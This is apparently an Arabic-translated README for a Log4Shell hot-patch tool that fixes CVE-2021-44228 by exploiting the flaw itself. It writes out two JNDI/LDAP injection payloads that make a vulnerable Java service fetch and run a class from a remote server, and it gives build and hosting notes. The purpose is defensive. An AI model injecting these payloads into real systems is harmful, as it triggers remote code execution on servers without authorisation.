cve-2021-44228-qingteng-online-patch

ما هذا؟

تصحيح ساخن لـ CVE-2021-44228 عبر استغلال الثغرة نفسها.

طريقة الاستخدام

حقن الكود التالي في أي مكان يُحتمل أن يكون عُرضة لـ CVE-2021-44228،

${jndi:ldap://your-own-server/patch}

لمنع هجوم الرجل في المنتصف (MITM) أثناء عملية التصحيح، يُنصح باستخدام الحمولة التالية، لكنها أقل توافقًا مع الإصدارات الأقدم من Java،

${jndi:ldap://your-own-server/any_string_except_patch}

تشغيل خادمك الخاص

1. نزّل أحدث الإصدارات

2. حدد متغيرات بيئة النظام LOG4J_HOTFIX_HTTP_PATH و LOG4J_HOTFIX_HTTPS_PATH إذا أردت استضافة Hotfix.class على خادمك الخاص

البناء

يُرجى ملاحظة أنه يجب ترجمة Hotfix.java باستخدام JDK6 لتحقيق أقصى توافق ممكن.